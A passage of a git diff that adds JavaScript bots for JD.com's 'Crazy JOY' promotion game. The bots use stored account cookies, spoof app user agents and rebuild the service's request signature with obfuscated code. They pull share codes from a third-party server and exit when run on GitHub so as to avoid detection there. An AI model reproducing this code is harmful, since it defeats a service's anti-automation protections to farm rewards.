${$.index}${$.nickName}\n恭喜你,已集成五福汪可合成分红JOY了`); + } + } + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function obtainAward(eventRecordId) { + return new Promise(async resolve => { + const body = {"eventType": "GROWTH_REWARD", eventRecordId}; + $.get(taskUrl('crazyJoy_event_obtainAward', JSON.stringify(body)), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data['resultCode'] === '0') { + $.GROWTH_REWARD_BEAN += data.data['beans']; + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function showMsg() { + return new Promise(async resolve => { + message += `\n当前信息:${$.bean}京豆,${$.coin}金币` + $.msg($.name, '', `京东账号${$.index} ${$.nickName}\n${message}`) + resolve() + }) +} +function taskUrl(functionId, body = '') { + var __encode ='jsjiami.com',_a={}, _0xb483=["\x5F\x64\x65\x63\x6F\x64\x65","\x68\x74\x74\x70\x3A\x2F\x2F\x77\x77\x77\x2E\x73\x6F\x6A\x73\x6F\x6E\x2E\x63\x6F\x6D\x2F\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74\x6F\x62\x66\x75\x73\x63\x61\x74\x6F\x72\x2E\x68\x74\x6D\x6C"];(function(_0xd642x1){_0xd642x1[_0xb483[0]]= _0xb483[1]})(_a);var __Oxb2398=["\x73\x75\x62\x73\x74\x72","\x6E\x6F\x77","","\x61\x44\x76\x53\x63\x42\x76\x24\x67\x47\x51\x76\x72\x58\x66\x76\x61\x38\x64\x47\x21\x5A\x43\x40\x44\x41\x37\x30\x59\x25\x6C\x58","\x6D\x64\x35","\x75\x6E\x64\x65\x66\x69\x6E\x65\x64","\x6C\x6F\x67","\u5220\u9664","\u7248\u672C\u53F7\uFF0C\x6A\x73\u4F1A\u5B9A","\u671F\u5F39\u7A97\uFF0C","\u8FD8\u8BF7\u652F\u6301\u6211\u4EEC\u7684\u5DE5\u4F5C","\x6A\x73\x6A\x69\x61","\x6D\x69\x2E\x63\x6F\x6D"];let t=Date[__Oxb2398[0x1]]().toString()[__Oxb2398[0x0]](0,10);let e=body|| __Oxb2398[0x2];e= $[__Oxb2398[0x4]](__Oxb2398[0x3]+ e+ t);e= e+ Number(t).toString(16);(function(_0x8b7fx3,_0x8b7fx4,_0x8b7fx5,_0x8b7fx6,_0x8b7fx7,_0x8b7fx8){_0x8b7fx8= __Oxb2398[0x5];_0x8b7fx6= function(_0x8b7fx9){if( typeof alert!== _0x8b7fx8){alert(_0x8b7fx9)};if( typeof console!== _0x8b7fx8){console[__Oxb2398[0x6]](_0x8b7fx9)}};_0x8b7fx5= function(_0x8b7fxa,_0x8b7fx3){return _0x8b7fxa+ _0x8b7fx3};_0x8b7fx7= _0x8b7fx5(__Oxb2398[0x7],_0x8b7fx5(_0x8b7fx5(__Oxb2398[0x8],__Oxb2398[0x9]),__Oxb2398[0xa]));try{_0x8b7fx3= __encode;if(!( typeof _0x8b7fx3!== _0x8b7fx8&& _0x8b7fx3=== _0x8b7fx5(__Oxb2398[0xb],__Oxb2398[0xc]))){_0x8b7fx6(_0x8b7fx7)}}catch(e){_0x8b7fx6(_0x8b7fx7)}})({}) + return { + url: `${JD_API_HOST}?uts=${e}&appid=crazy_joy&functionId=${functionId}&body=${escape(body)}&t=${t}`, + headers: { + 'Cookie': cookie, + 'Host': 'api.m.jd.com', + 'Accept': '*/*', + 'Connection': 'keep-alive', + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'Accept-Language': 'zh-cn', + 'Referer': 'https://crazy-joy.jd.com/', + 'origin': 'https://crazy-joy.jd.com', + 'Accept-Encoding': 'gzip, deflate, br', + } + } +} +function readShareCode() { + console.log(`开始`) + return new Promise(async resolve => { + $.get({url: `https://code.chiang.fun/api/v1/jd/jdcrazyjoy/read/${randomCount}/`, 'timeout': 10000}, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + console.log(`随机取${randomCount}个码放到您固定的互助码后面(不影响已有固定互助)`) + data = JSON.parse(data); + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + await $.wait(10000); + resolve() + }) +} +//格式化助力码 +function shareCodesFormat() { + return new Promise(async resolve => { + // console.log(`第${$.index}个京东账号的助力码:::${$.shareCodesArr[$.index - 1]}`) + $.newShareCodes = []; + if ($.shareCodesArr[$.index - 1]) { + $.newShareCodes = $.shareCodesArr[$.index - 1].split('@'); + } else { + console.log(`由于您第${$.index}个京东账号未提供shareCode,将采纳本脚本自带的助力码\n`) + const tempIndex = $.index > inviteCodes.length ? (inviteCodes.length - 1) : ($.index - 1); + $.newShareCodes = inviteCodes[tempIndex].split('@'); + } + const readShareCodeRes = await readShareCode(); + if (readShareCodeRes && readShareCodeRes.code === 200) { + $.newShareCodes = [...new Set([...$.newShareCodes, ...(readShareCodeRes.data || [])])]; + } + console.log(`第${$.index}个京东账号将要助力的好友${JSON.stringify($.newShareCodes)}`) + resolve(); + }) +} + +function requireConfig() { + return new Promise(resolve => { + console.log(`开始获取${$.name}配置文件\n`); + //Node.js用户请在jdCookie.js处填写京东ck; + let shareCodes = []; + if ($.isNode()) { + if (process.env.JDJOY_SHARECODES) { + if (process.env.JDJOY_SHARECODES.indexOf('\n') > -1) { + shareCodes = process.env.JDJOY_SHARECODES.split('\n'); + } else { + shareCodes = process.env.JDJOY_SHARECODES.split('&'); + } + } + if (process.env.JDJOY_HELPSELF) { + helpSelf = process.env.JDJOY_HELPSELF + } + if (process.env.JDJOY_APPLYJDBEAN) { + applyJdBean = process.env.JDJOY_APPLYJDBEAN + } + } + console.log(`共${cookiesArr.length}个京东账号\n`); + $.shareCodesArr = []; + if ($.isNode()) { + Object.keys(shareCodes).forEach((item) => { + if (shareCodes[item]) { + $.shareCodesArr.push(shareCodes[item]) + } + }) + } + console.log(`您提供了${$.shareCodesArr.length}个账号的${$.name}助力码\n`); + resolve() + }) +} + +function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} + +function TotalBean() { + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 13) { + $.isLogin = false; //cookie过期 + return + } + if (data['retcode'] === 0) { + $.nickName = (data['base'] && data['base'].nickname) || $.UserName; + } else { + $.nickName = $.UserName + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '不要在BoxJS手动复制粘贴修改cookie') + return []; + } + } +} +/** + * 生成随机数字 + * @param {number} min 最小值(包含) + * @param {number} max 最大值(不包含) + */ +function randomNumber(min = 0, max = 100) { + return Math.min(Math.floor(min + Math.random() * (max - min)), max); +} +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/jd_crazy_joy_bonus.js b/jd_crazy_joy_bonus.js new file mode 100644 index 0000000..28b15f8 --- /dev/null +++ b/jd_crazy_joy_bonus.js @@ -0,0 +1,200 @@ +/* +监控crazyJoy分红狗每天是否达到分红标准以及获得多少数量的京豆 +有分红JOY的 每天12点后运行一次即可,有分红京豆才会通知 +活动入口:京东APP我的-更多工具-疯狂的JOY +已支持IOS双京东账号,Node.js支持N个京东账号 +脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js +============Quantumultx=============== +[task_local] +#监控crazyJoy分红 +10 12 * * * jd_crazy_joy_bonus.js, tag=监控crazyJoy分红, img-url=https://raw.githubusercontent.com/58xinian/icon/master/jd_crazy_joy.png, enabled=true + +================Loon============== +[Script] +cron "10 12 * * *" script-path=jd_crazy_joy_bonus.js,tag=监控crazyJoy分红 + +===============Surge================= +监控crazyJoy分红 = type=cron,cronexp="10 12 * * *",wake-system=1,timeout=3600,script-path=jd_crazy_joy_bonus.js + +============小火箭========= +监控crazyJoy分红 = type=cron,script-path=jd_crazy_joy_bonus.js, cronexpr="10 12 * * *", timeout=3600, enable=true + + */ +const $ = new Env('监控crazyJoy分红'); +!function(n){"use strict";function r(n,r){var t=(65535&n)+(65535&r);return(n>>16)+(r>>16)+(t>>16)<<16|65535&t}function t(n,r){return n<>>32-r}function u(n,u,e,o,c,f){return r(t(r(r(u,n),r(o,f)),c),e)}function e(n,r,t,e,o,c,f){return u(r&t|~r&e,n,r,o,c,f)}function o(n,r,t,e,o,c,f){return u(r&e|t&~e,n,r,o,c,f)}function c(n,r,t,e,o,c,f){return u(r^t^e,n,r,o,c,f)}function f(n,r,t,e,o,c,f){return u(t^(r|~e),n,r,o,c,f)}function i(n,t){n[t>>5]|=128<>>9<<4)]=t;var u,i,a,h,g,l=1732584193,d=-271733879,v=-1732584194,C=271733878;for(u=0;u>5]>>>r%32&255);return t}function h(n){var r,t=[];for(t[(n.length>>2)-1]=void 0,r=0;r>5]|=(255&n.charCodeAt(r/8))<16&&(e=i(e,8*n.length)),t=0;t<16;t+=1)o[t]=909522486^e[t],c[t]=1549556828^e[t];return u=i(o.concat(h(r)),512+8*r.length),a(i(c.concat(u),640))}function d(n){var r,t,u="";for(t=0;t>>4&15)+"0123456789abcdef".charAt(15&r);return u}function v(n){return unescape(encodeURIComponent(n))}function C(n){return g(v(n))}function A(n){return d(C(n))}function m(n,r){return l(v(n),v(r))}function s(n,r){return d(m(n,r))}function b(n,r,t){return r?t?m(r,n):s(r,n):t?C(n):A(n)}$.md5=b}(); +const JD_API_HOST = 'https://api.m.jd.com/'; + +const notify = $.isNode() ? require('./sendNotify') : ''; +let cookiesArr = [], cookie = '', message = ''; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + return; + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + message = ''; + $.GROWTH_REWARD_BEAN = 0;//解锁等级奖励的京豆 + await TotalBean(); + console.log(`\n开始【京东账号${$.index}】${$.nickName || $.UserName}\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + await jdCrazyJoy() + } + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) + +async function jdCrazyJoy() { + await getBonus() +} + +function getBonus() { + return new Promise(async resolve => { + const body = {"source":"game"}; + $.get(taskUrl('crazyJoy_bonus_getStatistic', JSON.stringify(body)), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data['resultCode'] === '0') { + console.log(`分红JOY数量:${data.data.selfBonusJoy},昨日是否达标:${data.data.selfDayBonusFlag}`) + $.log(`昨日获得京豆数量:${data.data.selfDayBonusBean}\n`) + if (data.data.selfBonusJoy && data.data.selfDayBonusFlag) { + if ($.isNode()) await notify.sendNotify(`${$.name} - 账号${$.index} - ${$.nickName}`, `京东账号${$.index} ${$.nickName}\n${data.data.selfBonusJoy}只分红Joy获得京豆:${data.data.selfDayBonusBean}`) + $.msg($.name, '', `京东账号${$.index} ${$.nickName}\n${data.data.selfBonusJoy}只分红Joy获得京豆:${data.data.selfDayBonusBean}`); + } + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function showMsg() { + return new Promise(async resolve => { + resolve() + }) +} +function taskUrl(functionId, body = '') { + var __encode ='jsjiami.com',_a={}, _0xb483=["\x5F\x64\x65\x63\x6F\x64\x65","\x68\x74\x74\x70\x3A\x2F\x2F\x77\x77\x77\x2E\x73\x6F\x6A\x73\x6F\x6E\x2E\x63\x6F\x6D\x2F\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74\x6F\x62\x66\x75\x73\x63\x61\x74\x6F\x72\x2E\x68\x74\x6D\x6C"];(function(_0xd642x1){_0xd642x1[_0xb483[0]]= _0xb483[1]})(_a);var __Oxb2398=["\x73\x75\x62\x73\x74\x72","\x6E\x6F\x77","","\x61\x44\x76\x53\x63\x42\x76\x24\x67\x47\x51\x76\x72\x58\x66\x76\x61\x38\x64\x47\x21\x5A\x43\x40\x44\x41\x37\x30\x59\x25\x6C\x58","\x6D\x64\x35","\x75\x6E\x64\x65\x66\x69\x6E\x65\x64","\x6C\x6F\x67","\u5220\u9664","\u7248\u672C\u53F7\uFF0C\x6A\x73\u4F1A\u5B9A","\u671F\u5F39\u7A97\uFF0C","\u8FD8\u8BF7\u652F\u6301\u6211\u4EEC\u7684\u5DE5\u4F5C","\x6A\x73\x6A\x69\x61","\x6D\x69\x2E\x63\x6F\x6D"];let t=Date[__Oxb2398[0x1]]().toString()[__Oxb2398[0x0]](0,10);let e=body|| __Oxb2398[0x2];e= $[__Oxb2398[0x4]](__Oxb2398[0x3]+ e+ t);e= e+ Number(t).toString(16);(function(_0x8b7fx3,_0x8b7fx4,_0x8b7fx5,_0x8b7fx6,_0x8b7fx7,_0x8b7fx8){_0x8b7fx8= __Oxb2398[0x5];_0x8b7fx6= function(_0x8b7fx9){if( typeof alert!== _0x8b7fx8){alert(_0x8b7fx9)};if( typeof console!== _0x8b7fx8){console[__Oxb2398[0x6]](_0x8b7fx9)}};_0x8b7fx5= function(_0x8b7fxa,_0x8b7fx3){return _0x8b7fxa+ _0x8b7fx3};_0x8b7fx7= _0x8b7fx5(__Oxb2398[0x7],_0x8b7fx5(_0x8b7fx5(__Oxb2398[0x8],__Oxb2398[0x9]),__Oxb2398[0xa]));try{_0x8b7fx3= __encode;if(!( typeof _0x8b7fx3!== _0x8b7fx8&& _0x8b7fx3=== _0x8b7fx5(__Oxb2398[0xb],__Oxb2398[0xc]))){_0x8b7fx6(_0x8b7fx7)}}catch(e){_0x8b7fx6(_0x8b7fx7)}})({}) + return { + url: `${JD_API_HOST}?uts=${e}&appid=crazy_joy&functionId=${functionId}&body=${escape(body)}&t=${t}`, + headers: { + 'Cookie': cookie, + 'Host': 'api.m.jd.com', + 'Accept': '*/*', + 'Connection': 'keep-alive', + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'Accept-Language': 'zh-cn', + 'Referer': 'https://crazy-joy.jd.com/', + 'origin': 'https://crazy-joy.jd.com', + 'Accept-Encoding': 'gzip, deflate, br', + } + } +} + + +function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} + +function TotalBean() { + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 13) { + $.isLogin = false; //cookie过期 + return + } + if (data['retcode'] === 0) { + $.nickName = (data['base'] && data['base'].nickname) || $.UserName; + } else { + $.nickName = $.UserName + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '不要在BoxJS手动复制粘贴修改cookie') + return []; + } + } +} + +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const 